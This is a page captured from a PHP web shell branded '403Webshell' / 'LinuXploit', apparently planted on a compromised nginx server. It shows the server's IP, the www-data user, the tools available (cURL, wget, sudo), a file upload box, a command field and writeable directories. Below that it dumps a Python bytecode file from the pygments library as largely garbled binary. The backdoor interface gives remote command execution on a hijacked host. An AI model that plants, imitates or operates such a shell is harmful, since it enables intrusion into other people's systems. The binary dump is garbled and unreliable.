403Webshell
Server IP : 178.105.222.151  /  Your IP : 216.73.216.38
Web Server : nginx/1.28.3
System : Linux MNK 7.0.0-15-generic #15-Ubuntu SMP PREEMPT_DYNAMIC Wed Apr 22 16:06:43 UTC 2026 x86_64
User : www-data ( 33)
PHP Version : 8.5.4
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF  |  Sudo : ON  |  Pkexec : OFF
Directory :  /lib/python3/dist-packages/pygments/__pycache__/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /lib/python3/dist-packages/pygments/__pycache__/util.cpython-314.pyc
+
�4Ui/'��J�Rt^RIt^RIHt]P!R4t]P!R]P]P,]P,4t	]P!R]P]P,]P,4t]P!R]P4t
!RR]4t!R	R
]4tRRltR RltR R
ltR RltRtRtRtRtRt/tRtRtR!RltR"Rlt!RR4t Rt!Rt"Rt#!RR]4t$R#)#z�
pygments.util
~~~~~~~~~~~~~

Utility functions.

:copyright: Copyright 2006-2025 by the Pygments team, see AUTHORS.
:license: BSD, see LICENSE for details.
N)�
TextIOWrapperz[/\\ ]z�
    <!DOCTYPE\s+(
     [a-zA-Z_][a-zA-Z0-9]*
     (?: \s+      # optional in HTML5
     [a-zA-Z_][a-zA-Z0-9]*\s+
     "[^"]*")?
     )
     [^>]*>
z<(.+?)(\s.*?)?>.*?</.+?>z\s*<\?xml[^>]*\?>c��]tRt^tRtRtR#)�
ClassNotFoundzCRaised if one of the lookup functions didn't find a matching class.�N��__name__�
__module__�__qualname__�__firstlineno__�__doc__�__static_attributes__r��//usr/lib/python3/dist-packages/pygments/util.pyrrs��Mr
rc��]tRt^"tRtRtR#)�OptionErrorzw
This exception will be raised by all option processing functions if
the type or value of the argument is not correct.
rNrrr
rrr"s��r
rc���VPW4pV'dVP4pWR9d9\RPVRP	\\V4444hV#)zq
If the key `optname` from the dictionary is not in the sequence
`allowed`, raise an error, otherwise return it.
z%Value for option {} must be one of {}z, )�get�lowerr�format�join�map�str)�options�optname�allowed�default�normcase�strings&&&&& r�get_choice_optr(sZ��
�[�[��
*�F�������
���A�H�H��RV�R[�R[�\_�`c�el�\m�Rn�o�p�p��Mr
c�j�VPW4p\V\4'dV#\V\4'd\V4#\V\4'g\RV:RVR24hVP
4R9dR#VP
4R9dR#\RV:RVR24h)	a
Intuitively, this is `options.get(optname, default)`, but restricted to
Boolean value. The Booleans can be represented as string, in order to accept
Boolean value from the command line arguments. If the key `optname` is
present in the dictionary `options` and is not associated with a Boolean,
raise an `OptionError`. If it is absent, `default` is returned instead.

The valid string values for ``True`` are ``1``, ``yes``, ``true`` and
``on``, the ones for ``False`` are ``0``, ``no``, ``false`` and ``off``
(matched case-insensitively).
�
Invalid type � for option z%; use 1/0, yes/no, true/false, on/offTF�Invalid value )�1�yes�true�on)�0�no�false�off)r�
isinstance�bool�intrrr�rrrrs&&& r�get_bool_optr/5s����[�[��
*�F��&�$����
�	�F�C�	 �	 ��F�|��
���
$�
$��M�&��<��y�I<�<�=�	=�	����5�	5��	����6�	6���N�6�*�L��	�J<�<�=�	=r
c��VPW4p\V4# \d\RT:RTR24h\d\RT:RTR24hi;i)z?As :func:`get_bool_opt`, but interpret the value as an integer.r r!z ; you must give an integer valuer")rr-�	TypeErrorr�
ValueErrorr.s&&& r�get_int_optr3Rs~��
�[�[��
*�F�8��6�{����8��M�&��<��y�I7�7�8�	8��8��N�6�*�L��	�J7�7�8�	8�8�s�
�&A�Ac���VPW4p\V\4'dVP4#\V\\
34'd\	V4#\
RV:RVR24h)z�
If the key `optname` from the dictionary `options` is a string,
split it at whitespace and return it. If it is already a list
or a tuple, it is returned as a list.
r r!z; you must give a list value)rr+r�split�list�tupler)rrr�vals&&& r�get_list_optr9^sj���+�+�g�
'�C��#�s����y�y�{��	�C�$���	'�	'��C�y���M�#���W�I�F3�3�4�	4r
c�F�VP'gR#.pVPP4P4FApVP4'd)VPRVP4,4KAM	RP	V4P4#)�� )r�strip�
splitlines�appendr�lstrip)�obj�res�lines&  r�docstring_headlinerDnsq���;�;�;��
�C����!�!�#�.�.�0���:�:�<�<��J�J�s�T�Z�Z�\�)�*��	1�
�7�7�3�<��� � r
c�Ha�V3RlpSPVn\V4#)zAReturn a static text analyser function that returns float values.c	�<�S!V4pT'gR#\R\R\T444# \dR#i;i \\
3dR#i;i)gg�?)�	Exception�min�max�floatr2r1)�text�rv�fs& �r�text_analyse�%make_analysator.<locals>.text_analyse|sb���	��4��B���	��s�C��U�2�Y�/�0�0���	��	���I�&�	��	�s �5�A�A�A�A�A)r�staticmethod)rMrNsf r�make_analysatorrQzs!���
��9�9�L����%�%r
c� �VPR4pV^8�dVRVP4pMVP4pVPR4'd�\P	VR,P44Uu.uF(pV'gK
VPR4'dK&VNK*	upR
,p\P!RTR2\P4pTPT4eR	#R#uupi \dR#i;i)a�Check if the given regular expression matches the last part of the
shebang if one exists.

    >>> from pygments.util import shebang_matches
    >>> shebang_matches('#!/usr/bin/env python', r'python(2\.\d)?')
    True
    >>> shebang_matches('#!/usr/bin/python2.4', r'python(2\.\d)?')
    True
    >>> shebang_matches('#!/usr/bin/python-ruby', r'python(2\.\d)?')
    False
    >>> shebang_matches('#!/usr/bin/python/ruby', r'python(2\.\d)?')
    False
    >>> shebang_matches('#!/usr/bin/startsomethingwith python',
    ...                 r'python(2\.\d)?')
    True

It also checks for common windows executable file extensions::

    >>> shebang_matches('#!C:\\Python2.4\\Python.exe', r'python(2\.\d)?')
    True

Parameters (``'-f'`` or ``'--foo'`` are ignored so ``'perl'`` does
the same as ``'perl -e'``)

Note that this method automatically searches the whole string (eg:
the regular expression is wrapped in ``'^$'``)
�
Nz#!:�NN�-F�^z(\.(exe|cmd|bat|bin))?$T���)�findr�
startswith�
split_path_rer5r=�
IndexError�re�compile�
IGNORECASE�search)rK�regex�index�
first_line�x�founds&&    r�shebang_matchesre�s���8
�I�I�d�O�E���z��&�5�\�'�'�)�
��Z�Z�\�
����T�"�"�	� -� 3� 3�J�r�N�4H�4H�4J� K�5� K�1���"#�,�,�s�"3��Q� K�5�57�9�E��
�
�a��w�&=�>��
�
�N���<�<���*����5���	��	�s0�,C>�
C9�C9�)C9�/
C>�9C>�>D
�D
c���\PV4pVfR#VP^4p\P!V\P
4P
VP44RJ#)z�Check if the doctype matches a regular expression (if present).

Note that this method only checks the first part of a DOCTYPE.
eg: 'html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN"'
NF)�doctype_lookup_rer_�groupr\r]�I�matchr=)rKr`�m�doctypes&&  r�doctype_matchesrm�sT��	� � ��&�A��y���g�g�a�j�G�
�:�:�e�R�T�T�"�(�(�����9��E�Er
c��\VR4#)z3Check if the file looks like it has a html doctype.�html)rm)rKs&r�html_doctype_matchesrp�s���4��)�)r
c��\PV4'dR#\V4p\V,# \dI\
P
T4pTeR#\P
TR,4RJpT\T&Tu#i;i)z2Check if a doctype exists or if we have some tags.TN:Ni�N)�xml_decl_rerj�hash�_looks_like_xml_cache�KeyErrorrgr_�tag_re)rK�keyrkrLs&   r�looks_like_xmlrx�s}���������
�t�*�C��$�S�)�)�����$�$�T�*���=��
�]�]�4��;�
'�t�
3��%'��c�"��	�
�s�7�$B
�)B
�	B
c�B�RV^
,	,RVR,,3#)zgGiven a unicode character code with length greater than 16 bits,
return the two 16 bit surrogate pair.
i��i�i�r)�cs&r�
surrogatepairr{�s!��
�a�2�g���1�u�9�!5�7�7r
c���.pRV,^,pRV^,,^,pVPWP,R,4V'd)VF!pVPWg,R,4K#	MJVFDp\VR,4pVPWhRR,VR	,,R,4KF	VPVR,4RPV4#)
z)Formats a sequence of strings for output.r<z = (�,�"N�)rS���rW)r?�reprr)	�var_name�seq�raw�indent_level�lines�base_indent�inner_indent�i�rs	&&&&     r�format_linesr��s����E���$�q�(�K��,��*�+�a�/�L�	�L�L��'�&�0�1�
��A��L�L��)�C�/�0���A��Q��W�
�A��L�L��#�2��.��2��6��<�=��
�L�L��s�"�#��9�9�U��r
c��.p\4pVF3pWC9gWA9dKVPV4VPV4K5	V#)zU
Returns a list with duplicates removed from the iterable `it`.

Order is preserved.
)�setr?�add)�it�already_seen�lst�seenr�s&&   r�duplicates_removedr��sD��
�C��5�D�
���9��)���
�
�1�
������	�
�Jr
c�*a�]tRtRtoRtRtRtVtR#)�Futurei	z{Generic class to defer some work.

Handled specially in RegexLexerMeta, to support regex string construction at
first use.
c��\h�N)�NotImplementedError��selfs&rr�
Future.gets��!�!r
rN)rrr	r
rrr�__classdictcell__��
__classdict__s@rr�r�	s�����
"�"r
r�c��VPR4pVR3# \dZ^RIpTP4pTP4pY3u# \\3dTPR4pTR3uu#i;ii;i)z�Decode *text* with guessed encoding.

First try UTF-8; this should fail for non-UTF-8 encodings.
Then try the preferred locale encoding.
Fall back to latin-1, which always works.
zutf-8N�latin1)�decode�UnicodeDecodeError�locale�getpreferredencoding�LookupError)rKr��prefencodings&  r�guess_decoder�s���"��{�{�7�#���W�}����"�	"��!�6�6�8�L��;�;�=�D��%�%��"�K�0�	"��;�;�x�(�D���>�!�	"��
"�s,��A;�&A�	A;�&A7�2A;�6A7�7A;c��\VRR4'd*VPVP4pWP3#\	V4# \dLi;i)z�Decode *text* coming from terminal *term*.

First try the terminal encoding, if given.
Then try UTF-8.  Then try the preferred locale encoding.
Fall back to latin-1, which always works.
�encodingN)�getattrr�r�r�r�)rK�terms&&r�guess_decode_from_terminalr�(sX���t�Z��&�&�	'��;�;�t�}�}�-�D����&�&������	"�	��	�s�A�A�Ac�h�\VRR4'd
VP#^RIpVP4#)z7Return our best guess of encoding for the given *term*.r�N)r�r�r�r�)r�r�s& r�terminal_encodingr�9s-���t�Z��&�&��}�}����&�&�(�(r
c�&a�]tRtRtoRtRtVtR#)�UnclosingTextIOWrapperiAc�&�VP4R#r�)�flushr�s&r�close�UnclosingTextIOWrapper.closeCs���
�
�r
rN)rrr	r
r�rr�r�s@rr�r�As�����r
r�)NFr�)F�)r)%rr\�iorr]rZ�DOTALL�	MULTILINE�VERBOSErgr^rvrirrr2rrGrrr/r3r9rDrQrermrprtrxr{r�r�r�r�r�r�r�rr
r�<module>r�s���
���
�
�9�%�
��J�J� ��Y�Y������
�
�*�,��
���/��M�M�B�I�I�-����<�
>���j�j�-�r�t�t�4��N�J�N��)��
�=�:
8�
4� 	!�&�"*�Z
F�*�
��
� 8��&
� "�"�"�*�")��]�r

Youez - 2016 - github.com/yon3zu
LinuXploit